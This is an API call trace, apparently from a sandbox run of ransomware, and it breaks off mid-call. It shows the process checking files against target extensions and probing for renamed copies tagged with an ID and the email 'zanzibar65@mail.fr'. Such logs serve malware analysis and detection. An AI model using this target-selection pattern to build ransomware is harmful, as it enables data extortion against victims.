[0046.942] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.942] lstrlenW (lpString=".rar") returned 4 [0046.942] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.942] lstrlenW (lpString=".bz2") returned 4 [0046.942] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.942] lstrlenW (lpString=".7z") returned 3 [0046.942] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.942] lstrlenW (lpString=".dbf") returned 4 [0046.942] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.942] lstrlenW (lpString=".1cd") returned 4 [0046.942] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc") returned 51 [0046.942] lstrlenW (lpString=".jpg") returned 4 [0046.942] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.943] lstrcmpiW (lpString1=".inc", lpString2=".html") returned 1 [0046.943] lstrlenW (lpString="oledbjvs.inc") returned 12 [0046.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0046.957] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=9804) returned 1 [0046.957] CloseHandle (hObject=0x194) returned 1 [0046.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0046.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.957] lstrlenW (lpString=".doc") returned 4 [0046.957] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.957] lstrlenW (lpString=".docx") returned 5 [0046.957] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.957] lstrlenW (lpString=".pdf") returned 4 [0046.957] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.957] lstrlenW (lpString=".xls") returned 4 [0046.957] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.957] lstrlenW (lpString=".xlsx") returned 5 [0046.957] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.957] lstrlenW (lpString=".ppt") returned 4 [0046.957] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.957] lstrlenW (lpString=".zip") returned 4 [0046.957] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.957] lstrlenW (lpString=".rar") returned 4 [0046.957] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.957] lstrlenW (lpString=".bz2") returned 4 [0046.958] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.958] lstrlenW (lpString=".7z") returned 3 [0046.958] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.958] lstrlenW (lpString=".dbf") returned 4 [0046.958] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.958] lstrlenW (lpString=".1cd") returned 4 [0046.958] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.958] lstrlenW (lpString=".jpg") returned 4 [0046.958] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.958] lstrlenW (lpString=".doc") returned 4 [0046.958] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0046.958] lstrlenW (lpString=".docx") returned 5 [0046.958] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0046.958] lstrlenW (lpString=".pdf") returned 4 [0046.958] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0046.958] lstrlenW (lpString=".xls") returned 4 [0046.958] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0046.958] lstrlenW (lpString=".xlsx") returned 5 [0046.958] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0046.958] lstrlenW (lpString=".ppt") returned 4 [0046.958] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0046.958] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.958] lstrlenW (lpString=".zip") returned 4 [0046.958] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0046.958] lstrlenW (lpString=".rar") returned 4 [0046.958] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0046.958] lstrlenW (lpString=".bz2") returned 4 [0046.958] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0046.958] lstrlenW (lpString=".7z") returned 3 [0046.959] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.959] lstrlenW (lpString=".dbf") returned 4 [0046.959] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.959] lstrlenW (lpString=".1cd") returned 4 [0046.959] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0046.959] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56 [0046.959] lstrlenW (lpString=".jpg") returned 4 [0046.959] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0046.959] lstrcmpiW (lpString1=".png", lpString2=".html") returned 1 [0046.959] lstrlenW (lpString="16to9Squareframe_Buttongraphic.png") returned 34 [0046.959] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.971] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=10123) returned 1 [0046.971] CloseHandle (hObject=0x1ec) returned 1 [0046.971] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png")) returned 0x20 [0046.972] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.972] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\16to9squareframe_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.972] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.972] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.972] lstrlenW (lpString=".doc") returned 4 [0046.972] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0046.972] lstrlenW (lpString=".docx") returned 5 [0046.972] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0046.972] lstrlenW (lpString=".pdf") returned 4 [0046.972] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0046.972] lstrlenW (lpString=".xls") returned 4 [0046.972] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0046.972] lstrlenW (lpString=".xlsx") returned 5 [0046.972] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0046.972] lstrlenW (lpString=".ppt") returned 4 [0046.972] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0046.972] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.972] lstrlenW (lpString=".zip") returned 4 [0046.972] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0046.972] lstrlenW (lpString=".rar") returned 4 [0046.972] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0046.972] lstrlenW (lpString=".bz2") returned 4 [0046.972] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0046.972] lstrlenW (lpString=".7z") returned 3 [0046.972] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0046.972] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.972] lstrlenW (lpString=".dbf") returned 4 [0046.972] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0046.972] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.973] lstrlenW (lpString=".1cd") returned 4 [0046.973] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0046.973] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.973] lstrlenW (lpString=".jpg") returned 4 [0046.973] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0046.973] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.973] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.973] lstrlenW (lpString=".doc") returned 4 [0046.973] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0046.973] lstrlenW (lpString=".docx") returned 5 [0046.973] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0046.973] lstrlenW (lpString=".pdf") returned 4 [0046.973] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0046.973] lstrlenW (lpString=".xls") returned 4 [0046.973] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0046.973] lstrlenW (lpString=".xlsx") returned 5 [0046.973] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0046.973] lstrlenW (lpString=".ppt") returned 4 [0046.973] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0046.973] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.973] lstrlenW (lpString=".zip") returned 4 [0046.973] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0046.973] lstrlenW (lpString=".rar") returned 4 [0046.973] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0046.973] lstrlenW (lpString=".bz2") returned 4 [0046.973] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0046.973] lstrlenW (lpString=".7z") returned 3 [0046.974] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0046.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.974] lstrlenW (lpString=".dbf") returned 4 [0046.974] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0046.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.974] lstrlenW (lpString=".1cd") returned 4 [0046.974] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0046.974] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\16to9Squareframe_Buttongraphic.png") returned 78 [0046.974] lstrlenW (lpString=".jpg") returned 4 [0046.974] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0046.974] lstrcmpiW (lpString1=".wmv", lpString2=".html") returned 1 [0046.974] lstrlenW (lpString="BabyBoyNotesBackground.wmv") returned 26 [0046.974] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.975] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=157292) returned 1 [0046.975] CloseHandle (hObject=0x1ec) returned 1 [0046.975] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0046.975] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.976] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.976] lstrlenW (lpString=".doc") returned 4 [0046.976] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0046.976] lstrlenW (lpString=".docx") returned 5 [0046.976] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0046.976] lstrlenW (lpString=".pdf") returned 4 [0046.976] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0046.976] lstrlenW (lpString=".xls") returned 4 [0046.976] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0046.976] lstrlenW (lpString=".xlsx") returned 5 [0046.976] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0046.976] lstrlenW (lpString=".ppt") returned 4 [0046.976] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0046.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.976] lstrlenW (lpString=".zip") returned 4 [0046.976] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0046.976] lstrlenW (lpString=".rar") returned 4 [0046.976] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0046.976] lstrlenW (lpString=".bz2") returned 4 [0046.976] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0046.976] lstrlenW (lpString=".7z") returned 3 [0046.976] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0046.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.976] lstrlenW (lpString=".dbf") returned 4 [0046.976] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0046.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.976] lstrlenW (lpString=".1cd") returned 4 [0046.976] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0046.976] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.977] lstrlenW (lpString=".jpg") returned 4 [0046.977] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.977] lstrlenW (lpString=".doc") returned 4 [0046.977] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString=".docx") returned 5 [0046.977] lstrcmpiW (lpString1=".docx", lpString2="d.wmv") returned -1 [0046.977] lstrlenW (lpString=".pdf") returned 4 [0046.977] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString=".xls") returned 4 [0046.977] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0046.977] lstrlenW (lpString=".xlsx") returned 5 [0046.977] lstrcmpiW (lpString1=".xlsx", lpString2="d.wmv") returned -1 [0046.977] lstrlenW (lpString=".ppt") returned 4 [0046.977] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.977] lstrlenW (lpString=".zip") returned 4 [0046.977] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0046.977] lstrlenW (lpString=".rar") returned 4 [0046.977] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString=".bz2") returned 4 [0046.977] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString=".7z") returned 3 [0046.977] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.977] lstrlenW (lpString=".dbf") returned 4 [0046.977] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.977] lstrlenW (lpString=".1cd") returned 4 [0046.977] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0046.977] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv") returned 78 [0046.977] lstrlenW (lpString=".jpg") returned 4 [0046.977] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0046.978] lstrcmpiW (lpString1=".wmv", lpString2=".html") returned 1 [0046.978] lstrlenW (lpString="BabyBoyScenesBackground_PAL.wmv") returned 31 [0046.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.978] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=125292) returned 1 [0046.978] CloseHandle (hObject=0x1ec) returned 1 [0046.978] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv")) returned 0x20 [0046.978] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.978] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0046.978] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.978] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.978] lstrlenW (lpString=".doc") returned 4 [0046.978] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0046.978] lstrlenW (lpString=".docx") returned 5 [0046.978] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0046.978] lstrlenW (lpString=".pdf") returned 4 [0046.978] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0046.978] lstrlenW (lpString=".xls") returned 4 [0046.978] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0046.979] lstrlenW (lpString=".xlsx") returned 5 [0046.979] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0046.979] lstrlenW (lpString=".ppt") returned 4 [0046.979] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.979] lstrlenW (lpString=".zip") returned 4 [0046.979] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0046.979] lstrlenW (lpString=".rar") returned 4 [0046.979] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString=".bz2") returned 4 [0046.979] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString=".7z") returned 3 [0046.979] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0046.979] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.979] lstrlenW (lpString=".dbf") returned 4 [0046.979] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.979] lstrlenW (lpString=".1cd") returned 4 [0046.979] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.979] lstrlenW (lpString=".jpg") returned 4 [0046.979] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.979] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.979] lstrlenW (lpString=".doc") returned 4 [0046.979] lstrcmpiW (lpString1=".doc", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString=".docx") returned 5 [0046.979] lstrcmpiW (lpString1=".docx", lpString2="L.wmv") returned -1 [0046.979] lstrlenW (lpString=".pdf") returned 4 [0046.979] lstrcmpiW (lpString1=".pdf", lpString2=".wmv") returned -1 [0046.979] lstrlenW (lpString=".xls") returned 4 [0046.979] lstrcmpiW (lpString1=".xls", lpString2=".wmv") returned 1 [0046.979] lstrlenW (lpString=".xlsx") returned 5 [0046.980] lstrcmpiW (lpString1=".xlsx", lpString2="L.wmv") returned -1 [0046.980] lstrlenW (lpString=".ppt") returned 4 [0046.980] lstrcmpiW (lpString1=".ppt", lpString2=".wmv") returned -1 [0046.980] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.980] lstrlenW (lpString=".zip") returned 4 [0046.980] lstrcmpiW (lpString1=".zip", lpString2=".wmv") returned 1 [0046.980] lstrlenW (lpString=".rar") returned 4 [0046.980] lstrcmpiW (lpString1=".rar", lpString2=".wmv") returned -1 [0046.980] lstrlenW (lpString=".bz2") returned 4 [0046.980] lstrcmpiW (lpString1=".bz2", lpString2=".wmv") returned -1 [0046.980] lstrlenW (lpString=".7z") returned 3 [0046.980] lstrcmpiW (lpString1=".7z", lpString2="wmv") returned -1 [0046.980] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.980] lstrlenW (lpString=".dbf") returned 4 [0046.980] lstrcmpiW (lpString1=".dbf", lpString2=".wmv") returned -1 [0046.980] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.980] lstrlenW (lpString=".1cd") returned 4 [0046.980] lstrcmpiW (lpString1=".1cd", lpString2=".wmv") returned -1 [0046.980] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv") returned 83 [0046.980] lstrlenW (lpString=".jpg") returned 4 [0046.980] lstrcmpiW (lpString1=".jpg", lpString2=".wmv") returned -1 [0046.980] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.980] lstrlenW (lpString="LightBlueRectangle.PNG") returned 22 [0046.980] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0046.981] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=220) returned 1 [0046.981] CloseHandle (hObject=0x1ec) returned 1 [0046.981] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" 